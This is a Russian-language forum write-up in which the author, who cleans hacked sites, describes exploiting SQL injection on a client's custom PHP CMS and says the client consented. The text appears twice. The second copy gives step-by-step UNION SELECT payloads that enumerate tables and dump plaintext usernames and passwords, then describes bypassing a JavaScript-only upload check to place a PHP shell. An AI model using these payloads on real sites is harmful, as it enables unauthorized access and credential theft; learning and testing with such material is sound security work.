Всем привет!
Эта статья посвящена форуму codeby.net, в частности статьям пользователя explorer. Напомню, периодически я зарабатываю тем, что чищу сайты после взлома.
Обратился очередной клиент. Диагноз - хроническое изменение содержимого index.php. Анализ файлов показал, что на этот раз это какая-то неизвестная самописная CMS на PHP. После непродолжительных поисков нашел страницу, где используются GET-запросы. Звезды совпали и я сразу вспомнил статьи вышеупомянутого пользователя и недавний SQL-challenge, в котором я безуспешно участвовал =)
По стандарту, пробуем кавычку и получаем следующее:
Уже интересно. Попробуем запрос без кавычки и сразу (чего мелочиться то) с попыткой определить количество столбцов:
Вывело нужную ошибку и замечательно. Несколько запросов и в итоге имеем 8 столбцов. Попробуем найти название базы:
Не совсем то, что нужно. А если database() поставить вместо 5, а вместо 2 попробовать version() ? =)
Класс. Имя и версия базы есть. Продолжаем пользоваться гайдом, увеличивая limit на 1 и узнаем имя таблиц в базе. Цель - что-то схожее с users. На 18-м шаге нашел таблицу user:
Смотрим название таблиц:
Перебрали, у нас есть: user_id, name, user_name, password. Тащим:
Тут скриншота не будет =) Все удалось, никаких хешей не использовалось, все в открытом виде, вдобавок логин совпадал с паролем. Замазал большую часть материалов, админка выглядит примерно так:
Далее везти не перестало. В системе управления обнаружился модуль с формами. Заглянем. Позволяет что-то загрузить на сервер. Пробуем загрузить .php и получаем ужасный alert:
Не беда. Тупо отрубаем javascript для этого сайта и… Шел на сервере…
Ну а дальше у нас практически God Mode:
На все ушло около часа, попутно я писал этот текст и делал скриншоты.
Дело sql-инъекций живет и, наверно, мне попался довольно простой пример, подтверждающий это. В инъекциях я совсем новичок, эксплуатировал данную уязвимость впервые и за это спасибо codeby.net и explorer лично!
P.S. Все события происходили на живом сервере и сайте, клиент согласие на поиск уязвимости дал, отчет о их наличии получил, претензий (вроде) не имеет, как будет закрывать дырки (или отверстия) - не знаю =)
Эта статья посвящена форуму codeby.net, в частности статьям пользователя explorer. Напомню, периодически я зарабатываю тем, что чищу сайты после взлома.
Обратился очередной клиент. Диагноз - хроническое изменение содержимого index.php. Анализ файлов показал, что на этот раз это какая-то неизвестная самописная CMS на PHP. После непродолжительных поисков нашел страницу, где используются GET-запросы. Звезды совпали и я сразу вспомнил статьи вышеупомянутого пользователя и недавний SQL-challenge, в котором я безуспешно участвовал =)
По стандарту, пробуем кавычку и получаем следующее:
Уже интересно. Попробуем запрос без кавычки и сразу (чего мелочиться то) с попыткой определить количество столбцов:
Код:
details.php?ID=-1 order by 10 -- -
Вывело нужную ошибку и замечательно. Несколько запросов и в итоге имеем 8 столбцов. Попробуем найти название базы:
Код:
details.php?ID=-1 union select 1,2,database(),4,5,6,7,8 -- -
Не совсем то, что нужно. А если database() поставить вместо 5, а вместо 2 попробовать version() ? =)
Код:
details.php?ID=-1 union select 1,version(),3,4,database(),6,7,8 -- -
Класс. Имя и версия базы есть. Продолжаем пользоваться гайдом, увеличивая limit на 1 и узнаем имя таблиц в базе. Цель - что-то схожее с users. На 18-м шаге нашел таблицу user:
Код:
details.php?ID=-1 union select 1,table_name,3,4,database(),6,7,8 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 18,1 -- -
Смотрим название таблиц:
Код:
-1 union select 1,column_name,3,4,database(),6,7,8 from information_schema.columns where table_name='user' limit 0,1 -- -
Код:
details.php?ID=-1 union select 1,user_name,3,4,password,6,7,8 from user -- -
Далее везти не перестало. В системе управления обнаружился модуль с формами. Заглянем. Позволяет что-то загрузить на сервер. Пробуем загрузить .php и получаем ужасный alert:
Не беда. Тупо отрубаем javascript для этого сайта и… Шел на сервере…
Ну а дальше у нас практически God Mode:
На все ушло около часа, попутно я писал этот текст и делал скриншоты.
Дело sql-инъекций живет и, наверно, мне попался довольно простой пример, подтверждающий это. В инъекциях я совсем новичок, эксплуатировал данную уязвимость впервые и за это спасибо codeby.net и explorer лично!
P.S. Все события происходили на живом сервере и сайте, клиент согласие на поиск уязвимости дал, отчет о их наличии получил, претензий (вроде) не имеет, как будет закрывать дырки (или отверстия) - не знаю =)